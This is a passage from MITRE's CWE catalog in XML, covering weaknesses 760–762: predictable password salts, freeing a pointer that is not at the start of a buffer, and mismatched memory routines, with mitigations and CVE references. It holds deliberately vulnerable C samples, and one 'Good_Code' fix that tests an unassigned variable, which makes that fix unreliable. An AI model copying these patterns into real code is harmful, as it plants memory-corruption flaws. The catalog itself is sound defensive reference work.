				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Other_Notes, Taxonomy_Mappings,
						Weakness_Ordinalities</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Description, Other_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-06-21</Modification_Date>
					          <Modification_Comment>updated Description, Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-12-13</Modification_Date>
					          <Modification_Comment>updated Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Equivalent Special Element
						Injection</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2010-06-21">Failure to Resolve Equivalent
						Special Elements into a Different Plane</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="760" Name="Use of a One-Way Hash with a Predictable Salt" Weakness_Abstraction="Class" Status="Incomplete">
			      <Description>
				        <Description_Summary>The software uses a one-way cryptographic hash against an input
					that should not be reversible, such as a password, but the software uses a
					predictable salt as part of the input.</Description_Summary>
				        <Extended_Description>
					          <Text>This makes it easier for attackers to pre-compute the hash value using
						dictionary attack techniques such as rainbow tables, effectively disabling
						the protection that an unpredictable salt would provide.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>327</Relationship_Target_ID>
					          <!--Use of a Broken or Risky Cryptographic Algorithm-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>903</Relationship_Target_ID>
					          <!--SFP Cluster: Cryptography-->
				</Relationship>
			      </Relationships>
			      <Background_Details>
				        <Background_Detail>
					          <Text>In cryptography, salt refers to some random addition of data to an input
						before hashing to make dictionary attacks more difficult.</Text>
				        </Background_Detail>
			      </Background_Details>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation Mitigation_ID="MIT-51">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text> Use a cryptographic hash function that can be configured to change
							the amount of computational effort needed to compute the hash, such as
							the number of iterations ("stretching") or the amount of memory
							required. Some hash functions perform salting automatically. These
							functions can significantly increase the overhead for a brute force
							attack, far more than standards such as MD5, which are intentionally
							designed to be fast. For example, rainbow table attacks can become
							infeasible due to the high computing overhead. Finally, since computing
							power gets faster and cheaper over time, the technique can be
							reconfigured to increase the workload without forcing an entire
							replacement of the algorithm in use. </Text>
						            <Text> Some hash functions that have one or more of these desired properties
							include bcrypt, scrypt, and PBKDF2. While there is active debate about
							which of these is the most effective, they are all stronger than using
							salts with hash functions with very little computing overhead.</Text>
						            <Text>Note that using these functions can have an impact on performance, so
							they require special consideration to avoid denial-of-service attacks.
							However, their configurability provides finer control over how much CPU
							and memory is used, so it could be adjusted to suit the environment's
							needs.</Text>
					          </Mitigation_Description>
					          <Mitigation_Effectiveness>High</Mitigation_Effectiveness>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Generate new salts using a strong random number generator with
							unpredictable seeds.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-4905</Observed_Example_Reference>
					          <Observed_Example_Description>Blogging software uses a hard-coded salt when
						calculating a password hash.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1657</Observed_Example_Reference>
					          <Observed_Example_Description>Database server uses the username for a salt when
						encrypting passwords, simplifying brute force
						attacks.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-0967</Observed_Example_Reference>
					          <Observed_Example_Description>Server uses a constant salt when encrypting
						passwords, simplifying brute force attacks.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-0408</Observed_Example_Reference>
					          <Observed_Example_Description>chain: product generates predictable MD5 hashes
						using a constant value combined with username, allowing authentication
						bypass.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <References>
				        <Reference>
					          <Reference_Author>Robert Graham</Reference_Author>
					          <Reference_Title>The Importance of Being Canonical</Reference_Title>
					          <Reference_Date>2009-02-02</Reference_Date>
					          <Reference_Link>http://erratasec.blogspot.com/2009/02/importance-of-being-canonical.html</Reference_Link>
				        </Reference>
				        <Reference>
					          <Reference_Author>Thomas Ptacek</Reference_Author>
					          <Reference_Title>Enough With The Rainbow Tables: What You Need To Know About
						Secure Password Schemes</Reference_Title>
					          <Reference_Date>2007-09-10</Reference_Date>
					          <Reference_Link>http://www.matasano.com/log/958/</Reference_Link>
				        </Reference>
				        <Reference>
					          <Reference_Author>James McGlinn</Reference_Author>
					          <Reference_Title>Password Hashing</Reference_Title>
					          <Reference_Link>http://phpsec.org/articles/2005/password-hashing.html</Reference_Link>
				        </Reference>
				        <Reference>
					          <Reference_Author>Jeff Atwood</Reference_Author>
					          <Reference_Title>Rainbow Hash Cracking</Reference_Title>
					          <Reference_Date>2007-09-08</Reference_Date>
					          <Reference_Link>http://www.codinghorror.com/blog/archives/000949.html</Reference_Link>
				        </Reference>
				        <Reference>
					          <Reference_Title>Rainbow table</Reference_Title>
					          <Reference_Publisher>Wikipedia</Reference_Publisher>
					          <Reference_Date>2009-03-03</Reference_Date>
					          <Reference_Link>http://en.wikipedia.org/wiki/Rainbow_table</Reference_Link>
				        </Reference>
				        <Reference Reference_ID="REF-11">
					          <Reference_Author>M. Howard</Reference_Author>
					          <Reference_Author>D. LeBlanc</Reference_Author>
					          <Reference_Title>Writing Secure Code</Reference_Title>
					          <Reference_Section>Chapter 9, "Creating a Salted Hash" Page
						302</Reference_Section>
					          <Reference_Edition>2nd Edition</Reference_Edition>
					          <Reference_Publisher>Microsoft</Reference_Publisher>
					          <Reference_PubDate>2002</Reference_PubDate>
				        </Reference>
				        <Reference Reference_ID="REF-7">
					          <Reference_Author>Mark Dowd</Reference_Author>
					          <Reference_Author>John McDonald</Reference_Author>
					          <Reference_Author>Justin Schuh</Reference_Author>
					          <Reference_Title>The Art of Software Security Assessment</Reference_Title>
					          <Reference_Section>Chapter 2, "Salt Values", Page 46.</Reference_Section>
					          <Reference_Edition>1st Edition</Reference_Edition>
					          <Reference_Publisher>Addison Wesley</Reference_Publisher>
					          <Reference_PubDate>2006</Reference_PubDate>
				        </Reference>
				        <Reference>
					          <Reference_Author>B. Kaliski</Reference_Author>
					          <Reference_Title>RFC2898 - PKCS #5: Password-Based Cryptography Specification
						Version 2.0</Reference_Title>
					          <Reference_PubDate>2000</Reference_PubDate>
					          <Reference_Link>http://tools.ietf.org/html/rfc2898</Reference_Link>
				        </Reference>
				        <Reference>
					          <Reference_Author>Coda Hale</Reference_Author>
					          <Reference_Title>How To Safely Store A Password</Reference_Title>
					          <Reference_Date>2010-01-31</Reference_Date>
					          <Reference_Link>http://codahale.com/how-to-safely-store-a-password/</Reference_Link>
				        </Reference>
				        <Reference>
					          <Reference_Author>Colin Percival</Reference_Author>
					          <Reference_Title>Tarsnap - The scrypt key derivation function and encryption
						utility</Reference_Title>
					          <Reference_Link>http://www.tarsnap.com/scrypt.html</Reference_Link>
				        </Reference>
				        <Reference>
					          <Reference_Author>Brian Krebs</Reference_Author>
					          <Reference_Title>How Companies Can Beef Up Password Security (interview with
						Thomas H. Ptacek)</Reference_Title>
					          <Reference_Date>2012-06-11</Reference_Date>
					          <Reference_Link>http://krebsonsecurity.com/2012/06/how-companies-can-beef-up-password-security/</Reference_Link>
				        </Reference>
				        <Reference>
					          <Reference_Author>Solar Designer</Reference_Author>
					          <Reference_Title>Password security: past, present, future</Reference_Title>
					          <Reference_PubDate>2012</Reference_PubDate>
					          <Reference_Link>http://www.openwall.com/presentations/PHDays2012-Password-Security/</Reference_Link>
				        </Reference>
				        <Reference>
					          <Reference_Author>Troy Hunt</Reference_Author>
					          <Reference_Title>Our password hashing has no clothes</Reference_Title>
					          <Reference_Date>2012-06-26</Reference_Date>
					          <Reference_Link>http://www.troyhunt.com/2012/06/our-password-hashing-has-no-clothes.html</Reference_Link>
				        </Reference>
				        <Reference>
					          <Reference_Author>Joshbw</Reference_Author>
					          <Reference_Title>Should we really use bcrypt/scrypt?</Reference_Title>
					          <Reference_Date>2012-06-08</Reference_Date>
					          <Reference_Link>http://www.analyticalengine.net/2012/06/should-we-really-use-bcryptscrypt/</Reference_Link>
				        </Reference>
			      </References>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submission_Date>2009-03-03</Submission_Date>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Observed_Examples,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>updated References</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Observed_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated References, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations, References</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="761" Name="Free of Pointer not at Start of Buffer" Weakness_Abstraction="Variant" Status="Incomplete">
			      <Description>
				        <Description_Summary>The application calls free() on a pointer to a memory resource
					that was allocated on the heap, but the pointer is not at the start of the
					buffer.</Description_Summary>
				        <Extended_Description>
					          <Text>This can cause the application to crash, or in some cases, modify critical
						program variables or execute code.</Text>
					          <Text>This weakness often occurs when the memory is allocated explicitly on the
						heap with one of the malloc() family functions and free() is called, but
						pointer arithmetic has caused the pointer to be in the interior or end of
						the buffer.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>763</Relationship_Target_ID>
					          <!--Release of Invalid Pointer or Reference-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>399</Relationship_Target_ID>
					          <!--Resource Management Errors-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>465</Relationship_Target_ID>
					          <!--Pointer Issues-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>891</Relationship_Target_ID>
					          <!--SFP Cluster: Memory Management-->
				</Relationship>
			      </Relationships>
			      <Maintenance_Notes>
				        <Maintenance_Note>
					          <Text>Currently, CWE-763 is the parent, however it may be desirable to have an
						intermediate parent which is not function-specific, similar to how CWE-762
						is an intermediate parent between CWE-763 and CWE-590.</Text>
				        </Maintenance_Note>
			      </Maintenance_Notes>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Technical_Impact>Modify memory</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>DoS: crash / exit /
						restart</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>When utilizing pointer arithmetic to traverse a buffer, use a separate
							variable to track progress through memory and preserve the originally
							allocated address for later freeing.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>When programming in C++, consider using smart pointers provided by the
							boost library to help correctly and consistently manage memory.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-4.6">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Phase>Operation</Mitigation_Phase>
					          <Mitigation_Strategy>Libraries or Frameworks</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Use a vetted library or framework that does not allow this weakness to
							occur or provides constructs that make this weakness easier to
							avoid.</Text>
						            <Text>For example, glibc in Linux provides protection against free of
							invalid pointers.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Use a language that provides abstractions for memory allocation and
							deallocation.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Testing</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Use a tool that dynamically detects memory management problems, such
							as valgrind.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-77">
					          <Intro_Text>In this example, the programmer dynamically allocates a buffer to
						hold a string and then searches for a specific character. After completing
						the search, the programmer attempts to release the allocated memory and
						return SUCCESS or FAILURE to the caller. Note: for simplification, this
						example uses a hard-coded "Search Me!" string and a constant string length
						of 20.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code>#define SUCCESS (1)</Code>
							              <Code>#define FAILURE (0)</Code>
							              <Code/>
							              <Code>int contains_char(char c){</Code>
							              <Block>
								                <Code>char *str;</Code>
								                <Code>str = (char*)malloc(20*sizeof(char));</Code>
								                <Code>strcpy(str, "Search Me!");</Code>
								                <Code>while( *str != NULL){</Code>
								                <Block>
									                  <Code>if( *str == c ){</Code>
									                  <Block>
										                    <Comment>/* matched char, free string and return success
											*/</Comment>
										                    <Code>free(str);</Code>
										                    <Code>return SUCCESS;</Code>
									                  </Block>
									                  <Code>}</Code>
									                  <Comment>/* didn't match yet, increment pointer and try next
										char */</Comment>
									                  <Code>str = str + 1;</Code>
								                </Block>
								                <Code>}</Code>
								                <Comment>/* we did not match the char in the string, free mem and
									return failure */</Comment>
								                <Code>free(str);</Code>
								                <Code>return FAILURE;</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>However, if the character is not at the beginning of the string, or if
							it is not in the string at all, then the pointer will not be at the
							start of the buffer when the programmer frees it.</Text>
						            <Text>Instead of freeing the pointer in the middle of the buffer, the
							programmer can use an indexing pointer to step through the memory or
							abstract the memory calculations by using array indexing.</Text>
						            <Block Block_Nature="Good_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code>#define SUCCESS (1)</Code>
							              <Code>#define FAILURE (0)</Code>
							              <Code/>
							              <Code>int cointains_char(char c){</Code>
							              <Block>
								                <Code>char *str;</Code>
								                <Code>int i = 0;</Code>
								                <Code>str = (char*)malloc(20*sizeof(char));</Code>
								                <Code>strcpy(str, "Search Me!");</Code>
								                <Code>while( i &lt; strlen(str) ){</Code>
								                <Block>
									                  <Code>if( str[i] == c ){</Code>
									                  <Block>
										                    <Comment>/* matched char, free string and return success
											*/</Comment>
										                    <Code>free(str);</Code>
										                    <Code>return SUCCESS;</Code>
									                  </Block>
									                  <Code>}</Code>
									                  <Comment>/* didn't match yet, increment pointer and try next
										char */</Comment>
									                  <Code>i = i + 1;</Code>
								                </Block>
								                <Code>}</Code>
								                <Comment>/* we did not match the char in the string, free mem and
									return failure */</Comment>
								                <Code>free(str);</Code>
								                <Code>return FAILURE;</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-78">
					          <Intro_Text>This code attempts to tokenize a string and place it into an array
						using the strsep function, which inserts a \0 byte in place of whitespace or
						a tab character. After finishing the loop, each string in the AP array
						points to a location within the input string.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code>char **ap, *argv[10], *inputstring;</Code>
							              <Code>for (ap = argv; (*ap = strsep(&amp;inputstring, " \t")) !=
								NULL;)</Code>
							              <Block>
								                <Code>if (**ap != '\0')</Code>
								                <Block>
									                  <Code>if (++ap &gt;= &amp;argv[10])</Code>
									                  <Block>
										                    <Code>break;</Code>
									                  </Block>
								                </Block>
							              </Block>
							              <Code>/.../</Code>
							              <Code>free(ap[4]);</Code>
						            </Block>
						            <Text>Since strsep is not allocating any new memory, freeing an element in
							the middle of the array is equivalent to free a pointer in the middle of
							inputstring.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-79">
					          <Intro_Text>Consider the following code in the context of a parsing application
						to extract commands out of user data. The intent is to parse each command
						and add it to a queue of commands to be executed, discarding each malformed
						entry. </Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Comment>//hardcode input length for simplicity</Comment>
							              <Code>char* input = (char*) malloc(40*sizeof(char));</Code>
							              <Code>char *tok;</Code>
							              <Code>char* sep = " \t";</Code>
							              <Code/>
							              <Code>get_user_input( input );</Code>
							              <Code/>
							              <Comment>/* The following loop will parse and process each token in the
								input string */</Comment>
							              <Code>tok = strtok( input, sep);</Code>
							              <Code>while( NULL != tok ){</Code>
							              <Block>
								                <Code>if( isMalformed( tok ) ){</Code>
								                <Block>
									                  <Comment>/* ignore and discard bad data */</Comment>
									                  <Code>free( tok );</Code>
								                </Block>
								                <Code>}</Code>
								                <Code>else{</Code>
								                <Block>
									                  <Code>add_to_command_queue( tok );</Code>
								                </Block>
								                <Code>}</Code>
								                <Code>tok = strtok( NULL, sep));</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>While the above code attempts to free memory associated with bad
							commands, since the memory was all allocated in one chunk, it must all
							be freed together.</Text>
						            <Text>One way to fix this problem would be to copy the commands into a new
							memory location before placing them in the queue. Then, after all
							commands have been processed, the memory can safely be freed.</Text>
						            <Block Block_Nature="Good_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Comment>//hardcode input length for simplicity</Comment>
							              <Code>char* input = (char*) malloc(40*sizeof(char));</Code>
							              <Code>char *tok, *command;</Code>
							              <Code>char* sep = " \t";</Code>
							              <Code/>
							              <Code>get_user_input( input );</Code>
							              <Code/>
							              <Comment>/* The following loop will parse and process each token in the
								input string */</Comment>
							              <Code>tok = strtok( input, sep);</Code>
							              <Code>while( NULL != tok ){</Code>
							              <Block>
								                <Code>if( !isMalformed( command ) ){</Code>
								                <Block>
									                  <Comment>/* copy and enqueue good data */</Comment>
									                  <Code>command = (char*) malloc( (strlen(tok) + 1) * sizeof(char)
										);</Code>
									                  <Code>strcpy( command, tok );</Code>
									                  <Code>add_to_command_queue( command );</Code>
								                </Block>
								                <Code>}</Code>
								                <Code>tok = strtok( NULL, sep));</Code>
							              </Block>
							              <Code>}</Code>
							              <Code/>
							              <Code>free( input ) </Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Affected_Resources>
				        <Affected_Resource>Memory</Affected_Resource>
			      </Affected_Resources>
			      <References>
				        <Reference>
					          <Reference_Title>boost C++ Library Smart Pointers</Reference_Title>
					          <Reference_Link>http://www.boost.org/doc/libs/1_38_0/libs/smart_ptr/smart_ptr.htm</Reference_Link>
				        </Reference>
				        <Reference>
					          <Reference_Title>Valgrind</Reference_Title>
					          <Reference_Link>http://valgrind.org/</Reference_Link>
				        </Reference>
			      </References>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submission_Date>2009-05-08</Submission_Date>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-09-27</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="762" Name="Mismatched Memory Management Routines" Weakness_Abstraction="Variant" Status="Incomplete">
			      <Description>
				        <Description_Summary>The application attempts to return a memory resource to the
					system, but it calls a release function that is not compatible with the function
					that was originally used to allocate that resource.</Description_Summary>
				        <Extended_Description>
					          <Text>This weakness can be generally described as mismatching memory management
						routines, such as:</Text>
					          <Block Block_Nature="List">
						            <Text>The memory was allocated on the stack (automatically), but it was
							deallocated using the memory management routine free() (CWE-590), which
							is intended for explicitly allocated heap memory.</Text>
						            <Text>The memory was allocated explicitly using one set of memory management
							functions, and deallocated using a different set. For example, memory
							might be allocated with malloc() in C++ instead of the new operator, and
							then deallocated with the delete operator.</Text>
					          </Block>
					          <Text>When the memory management functions are mismatched, the consequences may
						be as severe as code execution, memory corruption, or program crash.
						Consequences and ease of exploit will vary depending on the implementation
						of the routines and the object being managed.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>763</Relationship_Target_ID>
					          <!--Release of Invalid Pointer or Reference-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>399</Relationship_Target_ID>
					          <!--Resource Management Errors-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">868</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>876</Relationship_Target_ID>
					          <!--CERT C++ Secure Coding Section 08 - Memory Management (MEM)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>891</Relationship_Target_ID>
					          <!--SFP Cluster: Memory Management-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language Language_Name="C"/>
					          <Language Language_Name="C++"/>
					          <Language_Class Language_Class_Description="Manual Memory Managed Languages"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Likelihood_of_Exploit>Low</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Technical_Impact>Modify memory</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>DoS: crash / exit /
						restart</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Only call matching memory management functions. Do not mix and match
							routines. For example, when you allocate a buffer with malloc(), dispose
							of the original pointer with free().</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-41">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Libraries or Frameworks</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>To help correctly and consistently manage memory when programming in
							C++, consider using a smart pointer class such as std::auto_ptr (defined
							by ISO/IEC ISO/IEC 14882:2003), std::shared_ptr and std::unique_ptr
							(specified by an upcoming revision of the C++ standard, informally
							referred to as C++ 1x), or equivalent solutions such as Boost.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-4.6">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Phase>Operation</Mitigation_Phase>
					          <Mitigation_Strategy>Libraries or Frameworks</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Use a vetted library or framework that does not allow this weakness to
							occur or provides constructs that make this weakness easier to
							avoid.</Text>
						            <Text>For example, glibc in Linux provides protection against free of
							invalid pointers.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
